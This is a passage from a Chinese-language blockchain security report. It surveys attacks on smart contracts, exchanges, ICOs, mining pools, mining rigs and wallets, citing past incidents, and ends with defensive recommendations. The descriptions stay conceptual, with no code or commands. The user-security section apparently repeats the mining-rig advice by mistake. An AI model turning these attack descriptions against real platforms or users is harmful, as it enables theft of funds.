但是,在區塊鏈項目中,交易順序並不是一成不變的,例如在以太坊中,交易順序就會隨着交易發布者的gas(交易費)的高低來決定先確認哪筆交易。

此時若攻擊者更改獎勵額度的交易給的交易費比較高,驗證節點會先執行這筆交易,最終會導致答題人最後得到的獎勵額度是調低的額度。而攻擊者以一個較低的成本就買到了正確答案。

時間戳依賴攻擊

如果智能合約在敏感操作中依賴時間戳,可能會導致執行結果被預測。

場景:若發布一個抽獎合約,抽獎結果由當前區塊的時間戳和其他因素組合計算而來,攻擊者可以通過提前嘗試不同的時間戳來計算這個抽獎結果,從而導致結果被預測。

誤操作異常攻擊

當合約A調用另外一個合約B的操作的時候,合約B操作的執行可能會因為種種原因導致執行失敗,從而退回到未執行前的狀態,此時合約A若不檢查合約B執行的結果繼續往下執行,會導致很多問題。

場景:合約A調用合約B的提現操作后並在合約A的餘額中增加與提現額度一樣的數值。此時若沒檢查合約B的執行提現操作的返回值,就可能會導致合約B中的餘額並沒減少,而合約A中的餘額卻已經增加了。

整數溢出攻擊

在常見的程序語言中,對整數類型的變量一般都會有最大值和最小值。智能合約本質上也是一份程序代碼,合約中的整數也會有相應的最大值和最小值。一旦變量所存儲的值超過了最大值就會發生整數上溢錯誤,導致變量最後存儲的值為0,反之則是整數下溢錯誤,變量最後存儲的值為變量最大值。當然,溢出的情況並不限於以上整數上溢或者整數下溢,還可能會在計算、轉換等過程中發生溢出。

場景:假設某個智能合約中的餘額為無符號整數類型,此類型的範圍為0~65535,當攻擊者通過某種方法使餘額小於0時,它在智能合約中的餘額將下溢為65535。使餘額大於65535時,它在智能合約中的餘額將上溢為0。

基於以太坊的多個ERC20智能合約就遭受過整形溢出漏洞的影響,如圖:該漏洞就是一個典型的整形溢出導致,繞過業務邏輯,能夠刷出大量的token。

ERC20相關的智能合約中就曾曝出過batchTransfer(CVE-2018–10299),SmartMesh 合約中transferProxy函數,proxyTransfer函數(CVE-2018-10376),UET合約的 transferFrom函數(CVE-2018-10468),都出現過整形溢出的問題。

案例

1. 2016年6月發生了一起史上最大的智能合約事件,它就是著名的The DAO攻擊事件。導致價值6000萬美元的以太幣被盜,迫使以太幣被硬分叉為ETH和ETC。

2. 2017年7月,以太坊發生了Parity多重簽名錢包被盜事件,黑客從從三個高安全的多重簽名合約中竊取到超過15萬ETH(約3000萬美元)。

3. 2018年4月,BeautyChain(BEC)智能合約中出現了一個災難性的漏洞(整形溢出漏洞),導致損失約10億美元

4. 2018年4月, SMT的智能合約漏洞(整形溢出)。

3.6 業務層

  3.6.1 交易平台

  3.6.1.1 網絡帶寬

簡要

目前在網絡中有許多以區塊鏈作為底層技術的加密貨幣的交易平台,用戶在通過交易平台來購買和出售加密貨幣,對於主流的交易平台,每天都有大量的用戶在平台上進行交易,其網絡帶寬對於交易平台來說至關重要。

風險

針對交易平台的安全風險主要為拒絕服務攻擊:

拒絕服務攻擊

由於交易平台對於網絡帶寬的存在高需求,所以一旦發生DDoS攻擊,對於平台和整個行業來說是非常嚴重的。若交易平台被DDoS攻擊,不但交易平台蒙受損失,區塊鏈貨幣的交易量也

將大大減少,間接影響區塊鏈貨幣的漲跌,在我們統計的安全事件中,以及調查的相關案例显示目前只要是交易平台上線都遭受到DDOS攻擊過。

場景:攻擊者首先通過DDOS使平台無法訪問,此時通常一定會有相關的新聞資訊報道這次事件。然而普通大眾並分不清拒絕訪問攻擊與入侵的區別,在自己所使用的交易平台被“攻擊”后,為了自己的資金安全通常會選擇轉向別的平台,導致此平台資金、用戶流失。

案例

1. 2017年5月12日,Poloniex交易平台遭受了嚴重的DDoS攻擊,BTC/USDT的交易價格一度困於1761美元,絕大多數用戶都無法執行訂單或是提取資金。

2. 2017年12月12日,比特幣交易平台Bitfinex遭受嚴重DDoS攻擊,API癱瘓。消息傳出后,比特幣下跌1.1%,報16968美元。

3.6.1.2 賬戶體系

簡要

賬戶是交易平台必須具備的基礎配置,賬戶是開戶的憑證,包含賬號和密碼,意味着你成為他們的用戶,平台必須根據相關條約對你賬號的隱私、安全負責。

風險

交易平台為保證用戶的資金安全需要建立高強度的賬戶安全體系。具體需要做到如下幾點:

1. 防撞庫,人機識別

2. 進行敏感操作的時候啟用多因素認證

3. 邏輯縝密,務必要杜絕“密碼找回漏洞”、“登陸繞過”、“越權訪問/調用”等漏洞

4. 防暴力破解,對登陸頻率進行限制

5. 防cookie泄露,開啟httponly,杜絕XSS漏洞

6. 防跨站請求偽造,提交動作盡量使用POST並且增加token,杜絕CSRF漏洞

7. 若使用SSO、oauth等登陸方式,務必嚴格遵循協議標準實現

8. 賬號風控

針對交易平台賬戶體系的安全風險,我們分析總結了以下攻擊方式:

撞庫攻擊

由於目前的網民普遍安全意識不足,經常會使用通用的用戶名和密碼,在不同的網站上使用同樣的賬號和口令登陸。

導致攻擊者通過手機互聯網上已公開或還未公開的用戶名、郵箱、密碼等信息來在要攻擊的網站上通過程序批量嘗試。

場景:攻擊者通過網絡釣魚或者收集網絡上已公開的與區塊鏈相關網站的用戶數據(包括用戶名、密碼等)在目標交易平台上使用程序自動化逐個嘗試,導致賬戶安全受到極大威脅。

窮舉攻擊

若網站不對登陸接口做請求限制或者風控,會導致攻擊者可以無限發送請求逐個測試可能的值來暴力破解某些關鍵信息。

場景:

1. 在短信驗證中,若不對短信驗證碼的有效期做限制或者驗證接口做限制,很容易短信驗證碼被破解。

2. 若登陸接口未做請求限制,攻擊者可以通過大量的密碼字典來暴力破解某個賬戶的密碼。又或者說,攻擊者可以通過大量的用戶名字典來暴力破解密碼為某個值的用戶,比如密碼為123456的用戶。

單點登陸漏洞

在賬戶體系中此類漏洞比較隱蔽,攻擊者可以通過CSRF、XSS等手段來竊取用戶登陸的ticket,從而導致用戶賬號被竊取。

主要有以下攻擊面:

● 未使用HTTPS導致中間人劫持

● Jsonp接口泄露ticket

● CSRF漏洞竊取ticket

● XSS漏洞竊取ticket

oAuth協議漏洞

oAuth協議到2.0實際上已經足夠安全,但是只是協議安全,並不代表它的最終實現就沒有問題,在安全意識不足的情況下很容易導致出現一些潛在威脅,導致攻擊者可以通過CSRF等手

段來越權登陸他人賬號。

主要有以下攻擊面:

● 利用CSRF漏洞綁定劫持

● 利用redirect_uri授權劫持

● 利用scope權限控制不當越權訪問

案例

2017年10月2日,OKCoin旗下交易所出現大量賬戶被盜情況,不完全統計損失金額在一千餘萬人民幣左右,用戶懷疑平台已被攻擊,或有已被關閉平台的交易所員工向黑客泄漏了平台

用戶的賬戶信息,黑客通過用戶信息破解賬戶密碼登錄平台,然後在平台上完成数字資產轉移。

3.6.1.3 支付體系

簡要

交易平台內充值、提現都涉及到了支付,所以完整的支付體系也是交易平台必備的基礎配置。

風險

針對交易平台支付體系的安全風險,我們分析總結了以下攻擊方式:

支付漏洞

凡是涉及到支付,則就有可能出現支付漏洞,且支付漏洞直接涉及到資金的安全問題,無論對平台或是用戶來說都是高風險,必須要謹慎對待。以下總結了支付體系中常見的問題:

1. 修改支付價格問題:在支付時未對支付價格做後端驗證,導致可以將價格調低甚至設為負數來通過交易獲得收入。

2. 修改購買數量問題:在支付的過程中,數量也同時決定着價格,比如:1個數量商品對應的是100,2個數據就是200,那麼當你修改這個值數量值為負數時,那麼其金額也會變為負數,最後就會導致支付問題的產生。

3. 最大值支付問題:通過購買大量商品使得最後的支付數額非常大,後端可能存在大整數溢出漏洞,當數值超過了某個閾值后,得到的結果會為0或者負數。

4. 越權支付問題:後端缺少驗證,導致可通過改包修改當前用戶ID使用他人餘額進行支付。

案例

目前暫無實際攻擊曝光,但在某些層面可能存在致命安全隱患

3.6.1.4 業務邏輯

簡要

業務邏輯即交易平台的業務流程或用戶操作流程,還包含交易平台的交易策略和規範。

風險

針對交易平台業務邏輯的安全風險,我們分析總結了以下攻擊方式:

邏輯漏洞

業務邏輯必須嚴謹,必須要對每段業務邏輯代碼進行大量的模糊測試與代碼審計,因為此類漏洞很難用傳統的方式發現,只能藉助於人的邏輯思維去思考其中可能出現的問題。目前常

見的業務邏輯漏洞有如下幾種:

● 越權漏洞

● 驗證碼漏洞

● 條件競爭漏洞

● 認證漏洞

案例

目前暫無實際攻擊曝光,但在某些層面可能存在致命安全隱患

3.6.2 首次代幣發行(ICO)

簡要

ICO是類似於IPO的一種區塊鏈項目融資方式,用於項目的起步資金,與IPO不同的是:ICO是一種以幣換幣的融資行為,一般以比特幣或以太坊換取該項目代幣。

風險

針對目前ICO的業務形態,已經發生了各種針對ICO業務的特定攻擊場景如下:

篡改攻擊

ICO在募集資金的時候,一般會在項目官網上掛出收款地址,然後投資人會陸續往此地址轉賬以換取相應代幣。

攻擊場景:黑客通過域名劫持、web漏洞、或社會工程學等等之類的攻擊手段來篡改項目官網上的收款地址,此之後項目募集到的資金便落到了黑客的手中。

釣魚攻擊

攻擊者利用社會工程學等手段來冒充官方,使用戶向攻擊者的錢包地址中轉賬。

攻擊場景:

1. 利用近似域名+高度仿冒網站欺騙投資者

2. 利用电子郵件散步虛假信息,如ICO項目的收款地址更改通知等

3. 在社交軟件、媒體上散步釣魚信息來欺詐投資者

案例

2017年7月,CoinDash項目ICO收款地址遭到黑客篡改,價值約1000萬美元的eth流入黑客錢包。

 3.6.3 礦工

  3.6.3.1 礦機系統

簡要

普通的家用PC、服務器等,並不是挖礦最合適的設備。一些廠商為了減少挖礦成本以及提高挖礦效率,根據幣種的算法專門研發出了相應的挖礦設備。並在上面搭建相應的訪問來提供遠程訪問以及控制,這種專門用來進行挖礦的設備即被稱為礦機。

風險

設備廠商們的安全防護意識是參差不齊的,而且由於其閉源的特性,其代碼的安全性無法被大眾檢查,一旦出現安全問題,結果就是致命的。

而且設備廠商是否會在設備中穿插後門進行遠程控制,亦或是偷偷竊取挖礦產出,這些都還有待商榷。

針對礦機系統的安全風險,我們分析總結了以下攻擊方式:

0day漏洞攻擊

礦機系統大多都是屬於通用系統,很少會定製開發。一般是廠家售賣礦機時自帶的,多個廠商肯能會使用同一套系統,只是貼牌配置不一樣的硬件。

沒有絕對安全的系統,礦機也不例外,一旦某個礦機系統被發現存在0day漏洞[15],那系統的安全壁壘將瞬間被打破,攻擊者可以利用漏洞拿到修改權限後進行獎勵接收地址篡改然後劫持用戶的獎勵。

所以有必要對礦機進行訪問控制以及網絡隔離,以及相應的防護來抵禦0day漏洞攻擊。

滲透攻擊

目前已經有組織對礦機進行持續性的滲透攻擊,利用漏洞組合拳,最終獲取到系統的篡改控制權限威脅礦機的系統安全,該攻擊方式不限制於某一特定漏洞,最終以拿到系統權限為目的。

弱口令攻擊

目前市面的礦機系統都是以B/S架構,在訪問礦機系統一般是通過web或者是別的途徑,若是在礦機上使用弱密碼,則會極易遭到入侵。

獎勵接收地址篡改

在挖礦主機系統被攻陷后,可能利用各種漏洞,最終黑客目的都是為了獲取相關利益,而最直接的就是通過修改獎勵的接受地址來使受害者的收穫全部被黑客獲取。

案例

1. 2017年4月份,比特大陸旗下螞蟻礦機被指存在後門,可導致礦機被遠程關閉。若此攻擊發生,將導致比特幣區塊鏈中損失大量算力。

2. 以下某挖礦系統存在弱口令,可導致比特幣接受地址被篡改。

3.6.3.2 礦池

  簡要

由於比特幣全網的運算水準在不斷的呈指數級別上漲,單個設備或少量的算力都無法在比特幣網絡上獲取到比特幣網絡提供的區塊獎勵。在全網算力提升到了一定程度后,過低的獲取獎勵的概率,促使一“bitcointalk”(全球最大的比特幣論壇)上的極客開發出一種可以將少量算力合併聯合運作的方法,使用這種方式建立的網站便被稱作“礦池”(Mining Pool)。

在此機制中,不論個人礦工所能使用的運算力多寡,只要是透過加入礦池來參與挖礦活動,無論是否有成功挖掘出有效資料塊,皆可經由對礦池的貢獻來獲得少量比特幣獎勵,亦即多人合作挖礦,獲得的比特幣獎勵也由多人依照貢獻度分享。

截止2018年4月,全球算力排名前五的比特幣礦池有:AntPool、BTC.com 、BTC.TOP、ViaBTC、F2Pool,目前全球約70%的算力在中國礦工手中。

▲(以上數據來至https://btc.com/stats/pool)

  風險

針對礦池平台的安全風險以及礦池本身在區塊鏈網絡的特殊角色,我們分析總結了以下影響區塊鏈網絡的攻擊方式:

算力偽造攻擊

礦池會通過某種特定的工作量證明檢驗算法來檢驗當前礦工的實際算力,但是在算法的實現上可能不一定完美無瑕,當算法的實現上存在某種漏洞可以虛報算力時,會給礦池平台帶來很大的經濟損失。

因為當前礦工實際上並沒有給礦池貢獻那麼高的算力,卻拿了與算力相當的獎勵分配,對於礦池中的其他礦工來說極其不公平。

場景:黑客通過尋找礦池算力檢驗算法的漏洞來虛報算力,然後獲取到與實際算力不想當的超額獎勵。

扣塊攻擊

也叫做藏塊攻擊。在礦工參與礦池進行挖礦的過程中,只要有一個礦工解題成功,題解會上交給礦池,整個礦池所有的礦工便會共享這次的解題成果,並按照算力貢獻大小來分配獎勵。

但在實際情況中,礦池中的礦工可以不遵守規則,在得到題解后不回傳給礦池,而是選擇私吞,在這種情況下就會造成礦池利益的極大損失。

場景:礦池中的某節點在挖到區塊之後並不上交給礦池,而是選擇“私吞”,這樣既能享受礦池所帶來的福利,又能從挖礦中獲得利益。

自私採礦攻擊

自私採礦攻擊(Selfish Mining Attack)[11]是針對區塊鏈的一種典型攻擊。由於挖取像比特幣這樣的加密貨幣,對於一個礦工(Miner)來說,需要高計算能力來解決密碼難題(即工作量證明),因此採礦變得十分困難。鑒於此,一組礦工(Mining pool,採礦池)通常會相互組合起來,並在成功解決密碼難題之後,分享收到的獎勵。這樣有助於個體礦工在單獨採礦時產生較連續恆定的收入而不是很少的收益。Eyal和Sirer認為如果存在一群自私的礦工,採用自私的採礦戰略,並獲得成功,就可能會使誠實礦工的工作無效。這種自私採礦攻擊表現為:一個惡意的採礦池決定不發布它發現的塊,進而創建一個分叉,因此,網絡中就存在由誠實礦工維護的公共鏈和惡意採礦池的私人分叉惡意採礦池在此私人分叉下繼續進行挖掘,當私人分叉比公共鏈長的時候,惡意採礦池就發布該私人分叉,由於該分叉是當前網絡中最長的鏈,因此會被誠實的礦工認定為合法鏈,所以原公共鏈及其包含的誠實數據將被丟棄。研究結果表明,一般情況下惡意採礦池採用自私採礦策略將獲得更多的收益。

中心化問題(算力過於集中問題)

目前因為礦池的存在,違背了區塊鏈去中心化的原則,當礦池做大,算力提高后,礦池變得過於集中,當算力達到全網的51%后,從理倫上來說,如果能夠控制整個網絡達到或超過51%以上的算力,將可以壟斷開採權、記賬權、分配權,將影響區塊鏈的生態安全,這樣加密貨幣的信用體系將不復存在,加密貨幣體系也將徹底摧毀。

案例

1. 2014年5月份,Eligius礦池遭受扣塊攻擊,損失約300個比特幣,在當時價值約16萬美元

3.6.4 普通用戶

3.6.4.1 系統資源

簡要

在使用PoW共識機制的區塊鏈中,存在一個非常重要的角色,那就是“礦工”,他們的主要作用是:

1. 解題:礦工需要通過計算來解決每過一段時間產生的“數學難題”,並通過“解題答案”來證明自己的工作結果,從而獲取報酬。

2. 對賬:對區塊內的交易合法性以及其他礦工廣播的“解題答案”進行核對,確認交易沒有造假以及“解題答案”是正確的並蓋章。

3. 記賬:核對交易的合法性以及“解題答案”后,將這段時間的交易打包進新區塊中。

風險

針對目前用戶的普通用戶計算資源被濫用,用於挖礦的安全風險,我們分析總結了以下一些風險點:

挖礦傀儡

並不是人人都願意當“礦工”。對於黑客而言,通過一些漏洞獲得一些主機的權限或者網頁端來挖礦是很容易的,黑客可以輕易地在被入侵主機上部署挖礦程序,消耗主機的系統資源與電力,以此來獲取利益,目前市面上被黑客應用最多的就是門羅幣(Monero),因為植入部署方便,導致現在很大一部分黑產團體從原來的篡改網頁,到現在直接植入挖礦腳本在網頁里,如下我們通過網絡空間測繪系統檢索目前互聯網有大量網站被掛入惡意的挖礦鏈接:

 案例

1. 2017年下旬,有人發現很多網站首頁中插入了coinhive平台的JS挖礦代碼,使得大量訪問網站的人系統變慢,疑似為黑客篡改首頁權限導致。

2. 2018年初,上百款《荒野行動》遊戲輔助被植入挖礦木馬,利用遊戲主機的高性能來挖礦獲取利益。

3. 2017年至現在,很多攻擊者利用“永恆之藍”漏洞獲取大量主機權限,然後在受害者的系統內長期潛伏挖礦。

 3.6.4.2 錢包

簡要

區塊鏈的錢包指的是存儲區塊鏈資產的地址和私鑰的文件。

目前主流的錢包分為冷錢包和熱錢包。冷錢包是沒有聯網環境的,如市面上的硬件錢包就是冷錢包,由於其不聯網的特性,使得它的安全性要在熱錢包之上,但不方便交易。熱錢包是在線的,例如電腦客戶端錢包、手機APP錢包、網頁錢包等,都屬於熱錢包,它的交易是很方便的,但是安全性相對於冷錢包來說要低很多。

風險

針對錢包的安全風險,我們分析總結了以下攻擊方式:

錢包客戶端RPC API風險

區塊鏈項目的客戶端中目前通常都會有RPC API接口,給用戶提供一個可程序化操作的接口,其中涉及到用戶的一些敏感操作,例如:轉賬。

所以API的訪問控制和鑒權至關重要,在沒有鑒權和訪問控制的情況下會造成如下攻擊場景,以eth客戶端geth為例。

場景:

1. 用戶開啟RPC API,此時API只能做常規查詢操作,並不能轉賬

2. 用戶執行解鎖錢包操作,此時API能執行轉賬操作並且無任何鑒權

3. 攻擊者趁機在此API上執行轉賬操作

4. 代幣竊取完畢

釣魚攻擊

在目前的互聯網環境中,欺詐隨處可見,這種攻擊手段在區塊鏈應用上也同樣受用。攻擊者可以偽造某個錢包客戶端,無論從界面和操作上都可以做到和真錢包沒有區別,可能他們只是在你轉賬的時候竊取你的私鑰信息或者在轉賬地址上動手腳,就可以輕易地偷偷竊取你的資產。

所以,客戶端一定要在官網下載,並驗證官網發布的客戶端文件hash是否與下載的客戶端文件hash一致。

私鑰竊取

因為私鑰信息至關重要,所以很多人會選擇將錢包私鑰文件多點備份,而備份得多或者備份點不安全都有可能導致錢包私鑰泄露。經調研,目前針對比特幣的wallet.dat文件就出現在各個互聯網中,例如:OSS服務、網盤、GitHub、NAS服務器、Web服務等等互聯網可接入的地方,都能看到密鑰的存儲,這是極其危險的,甚至已經有攻擊者開始針對密鑰文件進行專門掃描,以及開發相關的木馬病毒進竊取。

錢包軟硬件漏洞攻擊

錢包軟件本身可能因為其本身或是開放的一些服務存在漏洞,影響用戶的資金安全。

硬件廠商提供的錢包只是將錢包與線上網絡隔離,並不能保證其本身的安全性就足夠,由於其是封閉的,其代碼質量對於大眾是未知,且不良廠商在其中穿插後門也不是並無可能。

在線錢包賬號竊取

由於在線錢包其方便、快捷等特性,使得很多人直接選擇使用在線錢包。所以個人的資產安全與服務商的安全是一個強綁定的關係,個人的資產過分依賴於外部保障其實和中心化的應

用比較類似,這與區塊鏈根本理念相衝突,同時也給個人資產帶來的很大風險。

案例

1 2013年11月,比特幣在線錢包服務商Inputs.io遭受黑客攻擊,黑客透過电子郵件賬號進行入侵,進而劫持代管賬號,從中盜取了4100個比特幣(在當時折算為130萬美元)。

2 萊特幣假錢包客戶端盜幣事件,攻擊者通過修改開源錢包源代碼,將显示的錢包地址固化為攻擊者的錢包地址再重新編譯,用戶使用此地址接收轉賬的時候很自然的就轉賬到了攻擊者的賬戶中。

3 Ledger 硬件錢包漏洞,該漏洞讓黑客可以在設備發貨之前和發貨之後竊取密碼。

4 2015年2月23日,比特幣錢包運營商比特幣存錢罐被盜,比特幣存錢罐官方表示:黑客於2014年6月30日入侵了平台的Linode賬號,並修改了Linode賬號密碼和服務器的root密碼,從而入侵了服務器並且獲得了服務器的控制和管理權限,導致比特幣被盜。

5 在社區上,經常有用戶表示自己的比特幣餘額被盜,而原因大多與錢包私鑰泄露有關。

6 2018年3月25日,幣安發布公告表示部分社區ERC20錢包用戶收到一封冒充Binance名義發送的“Binance開啟ERC20私鑰綁定”詐騙郵件,郵件主要是為了盜取用戶的ERC20錢包私鑰。

7 2018年1月份,名錢包開發商 Electrum 近期針對其比特幣錢包的 JSONRPC 接口漏洞發布了安全補丁,這個漏洞能使攻擊者通過JSONPRNC接口獲取私人數據和加密貨幣。

3.6.4.3 交易所賬戶

  簡要

要在交易所中進行交易需要註冊相應的賬戶,有了交易所賬戶就可以很方便的在交易所內進行買入賣出交易,相當於交易所賬戶掌握了你的数字貨幣的買賣權。

風險

在交易所中的賬戶安全需要在各個方面都有保障,只要有一個短板就會面臨危險。

針對交易所賬戶的安全風險,從用戶角度來說,我們分析總結了以下攻擊方式:

釣魚攻擊

通過仿冒交易所網站的域名和頁面來達到從視覺上欺騙受害者的手段,一般用來竊取用戶的交易所登陸口令,攻擊者拿到相關口令后開始進行轉賬操作。

中間人劫持攻擊

攻擊者可以在流量中轉處截獲流量,例如:路由器、網關等流量出口。不過好在目前多數的交易所一般都是採用https,在此方面問題不算大,但是不排除在某些API接口的子域名未使用https。

木馬劫持攻擊

木馬通過按鍵記錄,或是hook瀏覽器的方式來獲取交易所賬號的登陸口令或是直接劫持用戶的資產,在歷史安全事件就有攻擊團體再各種相關虛擬貨幣網站,論壇社區發布帶有木馬的APP程序,來盜取劫持用戶。

案例

1. 2018年3月8日,幣安網公布部分幣安釣魚網站案例

2. 2017年8月份,一款名為Trickbot的木馬就針對包括Coinbase在內的幾家数字貨幣交易所增加了web注入攻擊的功能,在受害者購買数字貨幣的時候和會將接受錢包重定向到攻擊者的錢包,讓用戶誤以為轉賬成功,其實最終轉賬操作都進了攻擊者的錢包。

3.6.4.4 交易所API

  簡要

各大交易所為了滿足用戶需要調用平台數據的需求,會開放一些API提供給用戶使用。交易所API大致分為兩類:

1. 公共 API 可以參考交易所的訂單狀況、公開的交易記錄、交易版信息。

2. 私有 API 可以確認交易所的新訂單及其取消、個人餘額等信息,需要相應的key才可以使用。

風險

針對交易所API的安全風險,我們分析總結了以下攻擊方式:

關鍵Key&Token竊取

私有API一般都涉及到用戶的一些敏感操作,例如:買入、賣出等操作。所以,API key一旦泄露,很可能會使自己的賬戶蒙受經濟損失。而大部分人,甚至包括程序員都不一定有這種安全意識,存在key泄露的隱患,例如一些使用者,開發者可能有意或者無意就把相關的代碼配置信息同步在GitHub、公開網盤等互聯網公共區域,互聯網任意用戶都能輕易的通過一些檢索把這些敏感信息找出來。

案例

2018年3月8日,幣安網大量用戶API key泄露,通過泄露的key直接操作用戶買賣,導致一萬餘枚的比特幣被用於購買其他幣種,造成幣市動蕩。而某些交易所的API key到目前截稿為止在GitHub還能搜到。

四 區塊鏈安全解決方案

基於上述區塊鏈產業歷史的攻擊案例,結合區塊鏈技術安全特點和安全威脅,白帽匯安全研究院建議從多個維度去進行綜合防護,同時對於產業生態的安全需要區塊鏈產業與區塊鏈安全企業來共同提高區塊鏈產業的安全性。

區塊鏈產業安全主要圍繞交易平台安全、礦池與礦機安全、用戶安全、區塊鏈底層安全、區塊鏈業務安全。從基礎安全建設、安全測試、安全審計、安全監測、應急響應,同時建立並完善區塊鏈安全的規範、提高區塊鏈產業人員安全意識多個方面來進行。最終提高區塊鏈產業生態安全性。

4.1 區塊鏈底層安全

區塊鏈作為底層技術基礎,支撐着整個系統。如底層出現安全問題,必將導致依託於此的上層均受到影響。其區塊鏈底層的安全研究與防範變得極為重要。

在系統設計之初就應加入安全性設計,整個系統的安全防範、安全的處理在最初就應考慮。

區塊鏈底層安全主要由區塊鏈項目的建立者與區塊鏈安全企業進行配合,來對其區塊鏈整個系統進行安全方面的提高。

 4.1.1 數據層

數據是區塊鏈技術的最基本內容,為了防止上述針對數據的的攻擊,主要從數據存儲與加密算法兩個方面來進行安全改進。

信息存儲方面,建議對用戶輸入的數據(如備註信息)等內容進行過濾檢查機制,防止被惡意利用或濫用。另外一方面,加密算法和簽名機制出於安全上的考慮,不要輕易自寫加密算法,建議使用成熟且可靠的加密算法。防止遭遇到算法漏洞的攻擊和安全風險。

 4.1.2 網絡層

區塊鏈與互聯網是密不可分的,針對網絡層的安全防禦主要從P2P網絡安全、網絡驗證機制兩個方面來提升安全性。

可通過如下幾點來進行防範:

● 在網絡的傳輸過程中,使用可靠的加密算法進行傳輸,防止惡意攻擊者對節點網絡進行流量竊取或劫持。如開啟Jsonrpc的節點強制使用https傳輸,而不是HTTP協議進行傳輸。

● 加強網絡數據中傳輸的有效性、合理性、安全性進行驗證,防止出現整型溢出等情況導致出現的數據錯誤。

● 節點網絡安全性加強。重要操作和信息客戶端節點做必要的驗證。

4.2 區塊鏈業務安全

區塊鏈2.0以後,出現智能合約等新的理念,使得區塊鏈的拓展性、便捷性極大增強。隨之而來的安全漏洞也會越來越多。如上述提到的經典The Dao攻擊事件。目前對於業務層面的安全主要通過安全審計來進行解決。

對於業務層的安全,主要依靠區塊鏈安全企業開發相應安全產品或進行安全技術支撐,與區塊鏈發起者建立合作等,從而避免或減少業務層上的攻擊事件發生。

4.2.1 安全審計

針對歷史案例以及可能存在的業務層安全問題,在正式發布之前進行安全審計工作尤為必要。

開發業務層代碼安全問題,白帽匯安全研究院有如下幾點安全建議和注意事項提示:

● 盡量避免外部調用

● 仔細權衡再發生重要操作時的代碼邏輯,避免邏輯陷阱

● 處理外部調用錯誤

● 不要假設你知道外部調用的控制流程

● 標記不受信任的業務內容

● 正確的使用斷言

● 小心整數除法的四舍五入

● 不要假設業務創建時餘額為零

● 記住鏈上的數據是公開的

● 在雙方或多方參與的業務應用中,參與者可能會“脫機離線”后不再返回

● 明確標明函數和狀態變量的可見性

● 將程序鎖定到特定的編譯器版本

● 小心分母為零

● 區分函數和事件

● 避免死循環

● 升級有問題的業務層代碼

4.3 交易平台安全

交易平台主要提供在線交易,形式主要為網站和App的形式。針對交易平台的安全性主要更加偏傳統的安全防護。對於交易平台的安全性提高則主要由交易平台和安全企業或交易平台自建的網絡安全部門。

白帽匯安全研究院針對區塊鏈交易平台給出如下安全解決方案與建議:

● 再建設之初就設計網絡安全架構。並隨着發展不斷調整

● 網絡安全隔離策略,僅對需要對外開放服務的端口進行開放

● 選擇使用具備高防護能力的IDC廠商,提高攻擊者發起DDOS攻擊的成本

● 線上業務系統需經過嚴格的安全測試,安全審計

● 對交易平台的所有資產進行實時的監控,對漏洞進行安全管理

● 建立安全預警機制,加強先於黑客發現安全威脅的能力

● 安全應急響應機制,出現安全問題第一時間進行處理

● 定期的安全測試、安全檢查

● 對交易平台企業內部的安全管理

● 數據加密存儲,防止數據被竊取后被濫用或使用戶錢包或隱私信息被泄露而遭受損失情況

● 建立安全制度管理

● 提高交易平台企業內部人員的安全意識。建議定期對員工進行安全培訓

● 與安全企業建立合作關係或建立SRC(安全應急響應中心)

● 給交易平台用戶進行安全引導

4.4 礦池與礦機安全

  4.4.1 礦池平台安全

目前礦池平台聚集了大量的礦工,礦池平台出現安全問題,影響也將巨大。目前礦池平台也主要提供服務為主。白帽匯安全研究院針對礦池平台給出如下安全解決方案與建議:

● 在建設之初就設計網絡安全架構,並隨着發展不斷調整

● 網絡安全隔離策略,僅對需要對外開放服務的端口進行開放

● 選擇使用具備高防護能力的IDC廠商,提高攻擊者發起DDOS攻擊的成本

● 建立安全預警機制,加強先於黑客發現安全威脅的能力

● 安全應急響應機制,出現安全問題第一時間進行處理

● 定期的安全測試、安全檢查

● 對礦池平台企業內部的安全管理

● 數據加密存儲,防止數據被竊取后被濫用或使用戶錢包或隱私信息被泄露而遭受損失情況

● 建立安全制度管理

● 提高交易平台企業內部人員的安全意識。建議定期對員工進行安全培訓

● 與安全企業建立合作關係或建立SRC(安全應急響應中心)

 4.4.2 礦機安全

礦機系統的安全主要對象為礦機生產商和礦工。礦機生產商應與安全企業進行合作,提高礦機系統的安全性。礦工則應該保護自己的礦機不被入侵。

白帽匯安全研究院建議:

● 礦機生產商應對礦機系統經過模糊測試和代碼審計,確保系統安全性

● 礦機生產商生產的系統要求礦工必須修改默認賬戶,提高安全性

● 礦工應選擇沒有漏洞的礦機系統,避免自己使用的礦機被入侵,以免被攻擊者惡意利用

● 礦工應設置安全複雜的密碼

4.5 用戶安全

白帽匯安全研究院對用戶(交易平台用戶、加密貨幣用戶)的建議如下:

● 礦機生產商應對礦機系統經過模糊測試和代碼審計,確保系統安全性

● 礦機生產商生產的系統要求礦工必須修改默認賬戶,提高安全性

● 礦工應選擇沒有漏洞的礦機系統,避免自己使用的礦機被入侵,以免被攻擊者惡意利用

● 礦工應設置安全複雜的密碼

4.6 安全企業責任

網絡安全企業可以貫穿區塊鏈生態產業,從區塊鏈底層到業務層,再到交易平台,以及礦池、礦工。目前,安全還處再初級發展階段,安全企業則應該主動發現更多的安全問題,幫

助區塊鏈廠商、交易平台、礦池平台、礦工系統提高安全。為區塊鏈產業生態安全做出巨大貢獻。

除此之外,還應該建立區塊鏈威脅情報,及時發現安全問題,及時做出響應。

 五 總結與展望

區塊鏈技術的底層機制、算法是區塊鏈最核心的地方,是保障區塊鏈穩定運行的根本,也是區塊鏈開發者最關心的地方。目前,開發者將大量精力投入到了比較底層的算法安全上,使得區塊鏈技術看上去難以撼動。

然而,通過近段時間的安全事件不難發現,安全問題越來越趨向於用戶、平台層面,區塊鏈的安全問題已經延伸到了傳統的網絡安全、基礎設施、移動信息安全等問題。所以在談及區塊鏈安全的時候,不應該僅僅局限於區塊鏈本身,它的使用者以及衍生的東西都需要我們的重點關注。

目前基於國家層面的管控措施也是未來值得研究的一個方向,雖然世界各國對加密貨幣,以及基於區塊鏈相關的ICO的態度不盡一致,但是目前仍有大量的資金投入在虛擬貨幣市場,一個安全問題將可能導致數百億的資金損失,甚至影響國家安定,出於避免巨額資金損失導致社會不穩定等因素的考慮,未來基於國家層面對於資金的保護、風險監控和預警,都是值得討論的話題,雖然區塊鏈本身是去中心化的技術,但是可以預見到,隨着區塊鏈技術的落地,其必將被應用到目前一些傳統基礎設施的技術中去,所以,對於區塊鏈的安全研究是更加值得重視與跟蹤的。

